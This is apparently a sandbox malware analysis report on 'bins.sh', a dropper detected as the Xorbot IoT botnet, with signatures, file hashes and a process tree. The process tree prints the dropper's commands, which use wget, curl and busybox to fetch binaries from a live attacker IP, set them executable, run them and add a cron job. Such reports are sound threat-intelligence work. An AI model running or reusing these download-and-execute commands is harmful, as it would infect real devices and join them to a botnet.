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Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    28/02/2025, 05:02

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33f9f0f790d74a4b0e288f22161d11f1

  • SHA1

    d294310cfdb18d6bcf63b4c0e60995ca5fe42203

  • SHA256

    f5d540dc9d7d7b789b722ef76b6312d8916f92dc0268ac50f0516cc55c3eb417

  • SHA512

    27a99c4022a5750dfb7b1a80c8ae67e01a4ab6f58d02e6aa1483cda88160c3408556bfd5dc0637112b91444d544f6afc5a69fcaf1d70224c27d952fabc694be6

  • SSDEEP

    192:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN9237QEkcFWyxl9Fm/D4a:OkcFWyxt9Fm/DW4N9237IZ3eZzSfN92S

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2131) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:642
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:644
      • /usr/bin/wget
        wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Writes file to tmp directory
        PID:647
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:673
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • Writes file to tmp directory
        PID:678
      • /bin/chmod
        chmod 777 XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        ./XQw82vXECRUV429SDvD0heUyhUITAYsq7p
        2⤵
          PID:682
        • /bin/rm
          rm XQw82vXECRUV429SDvD0heUyhUITAYsq7p
          2⤵
            PID:684
          • /usr/bin/wget
            wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Writes file to tmp directory
            PID:686
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:701
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Writes file to tmp directory
            PID:706
          • /bin/chmod
            chmod 777 PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • File and Directory Permissions Modification
            PID:710
          • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            ./PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:711
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:714
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:715
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:719
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:721
                • /bin/rm
                  rm PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc
                  2⤵
                    PID:735
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                    2⤵
                    • Writes file to tmp directory
                    PID:738
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    PID:819

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/PuLVT8u2J1tdyNOM2gg7VZx17vL6861Mtc

                  Filesize

                  177KB

                  MD5

                  786d75a158fe731feca3880f436082c0

                  SHA1

                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                  SHA256

                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                  SHA512

                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                • /tmp/XQw82vXECRUV429SDvD0heUyhUITAYsq7p

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /tmp/jtalLdU2R33p8UkxEtvXMaeU2SzTSSthTT

                  Filesize

                  127KB

                  MD5

                  89077b7bd4bcafca7713be43635c4862

                  SHA1

                  fc02edb8fba29ea8ee99e6157ef8560334530052

                  SHA256

                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                  SHA512

                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                • /var/spool/cron/crontabs/tmp.80gHem

                  Filesize

                  210B

                  MD5

                  2a53fe7133e79b8017a5cceac084f52f

                  SHA1

                  69024905418bea4d3e9a5b0616c6f7ce1b0f942e

                  SHA256

                  f5a0b6f220fa17ffcae896db37404a192b05e98f384f9dfbd86c00c948a86f9d

                  SHA512

                  3bae43ee8244682bd180053873ec29f83bc58bd188c8c27691f365439f3078877d47ee000e737733f17aba83a0e3744f4030a1450a60c876c79c0fe26f7d6cfa